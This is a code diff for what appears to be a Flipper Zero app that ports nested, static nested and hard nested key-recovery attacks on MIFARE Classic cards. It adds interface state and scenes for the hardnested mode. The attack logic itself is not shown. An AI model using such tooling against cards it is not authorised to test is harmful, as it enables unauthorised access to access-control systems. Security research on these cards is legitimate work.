 typedef struct {
 typedef struct {
@@ -72,6 +74,8 @@ typedef struct {
     // 40 (or 16/5) sectors, 2 keys (A/B), 3 tries
     // 40 (or 16/5) sectors, 2 keys (A/B), 3 tries
     Nonces* nonces[40][2][3];
     Nonces* nonces[40][2][3];
     uint32_t tries;
     uint32_t tries;
+    // unique first bytes
+    uint32_t hardnested_states;
 } NonceList_t;
 } NonceList_t;
 
 
 typedef struct {
 typedef struct {

+ 2 - 2
scenes/mifare_nested_scene_about.c

@@ -21,7 +21,7 @@ void mifare_nested_scene_about_on_enter(void* context) {
     furi_string_cat_printf(temp_str, "\e#%s\n", "Description");
     furi_string_cat_printf(temp_str, "\e#%s\n", "Description");
     furi_string_cat_printf(
     furi_string_cat_printf(
         temp_str,
         temp_str,
-        "Ported nested attacks\nfrom proxmark (Iceman fork)\nCurrently supported attacks:\n - static nested attack\n - nested attack\n\n");
+        "Ported nested attacks\nfrom proxmark (Iceman fork)\nCurrently supported attacks:\n - nested attack\n - static nested attack\n - hard nested attack\n\n");
     furi_string_cat_printf(
     furi_string_cat_printf(
         temp_str,
         temp_str,
         "You will need desktop app to recover keys from collected nonces: %s",
         "You will need desktop app to recover keys from collected nonces: %s",
@@ -68,4 +68,4 @@ void mifare_nested_scene_about_on_exit(void* context) {
 
 
     // Clear views
     // Clear views
     widget_reset(mifare_nested->widget);
     widget_reset(mifare_nested->widget);
-}
+}

+ 17 - 3
scenes/mifare_nested_scene_collecting.c

@@ -55,6 +55,7 @@ bool mifare_nested_collecting_worker_callback(MifareNestedWorkerEvent event, voi
                 model->calibrating = true;
                 model->calibrating = true;
                 model->lost_tag = false;
                 model->lost_tag = false;
                 model->need_prediction = false;
                 model->need_prediction = false;
+                model->hardnested = false;
             },
             },
             true);
             true);
     } else if(event == MifareNestedWorkerEventNeedPrediction) {
     } else if(event == MifareNestedWorkerEventNeedPrediction) {
@@ -63,6 +64,18 @@ bool mifare_nested_collecting_worker_callback(MifareNestedWorkerEvent event, voi
             NestedAttackViewModel * model,
             NestedAttackViewModel * model,
             { model->need_prediction = true; },
             { model->need_prediction = true; },
             true);
             true);
+    } else if(event == MifareNestedWorkerEventHardnestedStatesFound) {
+        NonceList_t* nonces = mifare_nested->nonces;
+        with_view_model(
+            plugin_state->view,
+            NestedAttackViewModel * model,
+            {
+                model->calibrating = false;
+                model->lost_tag = false;
+                model->hardnested = true;
+                model->hardnested_states = nonces->hardnested_states;
+            },
+            true);
     }
     }
 
 
     view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);
     view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);
@@ -113,15 +126,16 @@ bool mifare_nested_scene_collecting_on_event(void* context, SceneManagerEvent ev
         } else if(event.event == MifareNestedWorkerEventNeedKey) {
         } else if(event.event == MifareNestedWorkerEventNeedKey) {
             scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneNoKeys);
             scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneNoKeys);
             consumed = true;
             consumed = true;
-        } else if(event.event == MifareNestedWorkerEventUnpredictablePRNG) {
+        } else if(event.event == MifareNestedWorkerEventStaticEncryptedNonce) {
             scene_manager_next_scene(
             scene_manager_next_scene(
-                mifare_nested->scene_manager, MifareNestedSceneUnpredictablePRNG);
+                mifare_nested->scene_manager, MifareNestedSceneStaticEncryptedNonce);
             consumed = true;
             consumed = true;
         } else if(
         } else if(
             event.event == MifareNestedWorkerEventNewNonce ||
             event.event == MifareNestedWorkerEventNewNonce ||
             event.event == MifareNestedWorkerEventNoTagDetected ||
             event.event == MifareNestedWorkerEventNoTagDetected ||
             event.event == MifareNestedWorkerEventCalibrating ||
             event.event == MifareNestedWorkerEventCalibrating ||
-            event.event == MifareNestedWorkerEventNeedPrediction) {
+            event.event == MifareNestedWorkerEventNeedPrediction ||
+            event.event == MifareNestedWorkerEventHardnestedStatesFound) {
             consumed = true;
             consumed = true;
         }
         }
     }
     }

+ 2 - 2
scenes/mifare_nested_scene_config.h

@@ -7,6 +7,6 @@ ADD_SCENE(mifare_nested, check_keys, CheckKeys)
 ADD_SCENE(mifare_nested, added_keys, AddedKeys)
 ADD_SCENE(mifare_nested, added_keys, AddedKeys)
 ADD_SCENE(mifare_nested, failed, Failed)
 ADD_SCENE(mifare_nested, failed, Failed)
 ADD_SCENE(mifare_nested, about, About)
 ADD_SCENE(mifare_nested, about, About)
-ADD_SCENE(mifare_nested, unpredictable_prng, UnpredictablePRNG)
+ADD_SCENE(mifare_nested, static_encrypted_nonce, StaticEncryptedNonce)
 ADD_SCENE(mifare_nested, need_key_recovery, NeedKeyRecovery)
 ADD_SCENE(mifare_nested, need_key_recovery, NeedKeyRecovery)
-ADD_SCENE(mifare_nested, need_collection, NeedCollection)
+ADD_SCENE(mifare_nested, need_collection, NeedCollection)

+ 0 - 57
scenes/mifare_nested_scene_unpredictable_prng.c

@@ -1,57 +0,0 @@
-#include "../mifare_nested_i.h"
-
-void mifare_nested_scene_unpredictable_prng_widget_callback(
-    GuiButtonType result,
-    InputType type,
-    void* context) {
-    MifareNested* mifare_nested = context;
-    if(type == InputTypeShort) {
-        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
-    }
-}
-
-void mifare_nested_scene_unpredictable_prng_on_enter(void* context) {
-    MifareNested* mifare_nested = context;
-    Widget* widget = mifare_nested->widget;
-
-    notification_message(mifare_nested->notifications, &sequence_error);
-
-    widget_add_icon_element(widget, 73, 13, &I_DolphinCry);
-    widget_add_string_element(
-        widget, 3, 4, AlignLeft, AlignTop, FontPrimary, "PRNG not predictable");
-    widget_add_string_element(widget, 3, 16, AlignLeft, AlignTop, FontPrimary, "This tag require");
-    widget_add_string_element(widget, 3, 28, AlignLeft, AlignTop, FontPrimary, "hardnested");
-    widget_add_string_element(widget, 3, 40, AlignLeft, AlignTop, FontPrimary, "attack");
-    widget_add_button_element(
-        widget,
-        GuiButtonTypeLeft,
-        "Back",
-        mifare_nested_scene_unpredictable_prng_widget_callback,
-        mifare_nested);
-
-    // Setup and start worker
-    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
-}
-
-bool mifare_nested_scene_unpredictable_prng_on_event(void* context, SceneManagerEvent event) {
-    MifareNested* mifare_nested = context;
-    bool consumed = false;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
-            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
-            consumed = true;
-        }
-    } else if(event.type == SceneManagerEventTypeBack) {
-        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
-        consumed = true;
-    }
-
-    return consumed;
-}
-
-void mifare_nested_scene_unpredictable_prng_on_exit(void* context) {
-    MifareNested* mifare_nested = context;
-
-    widget_reset(mifare_nested->widget);
-}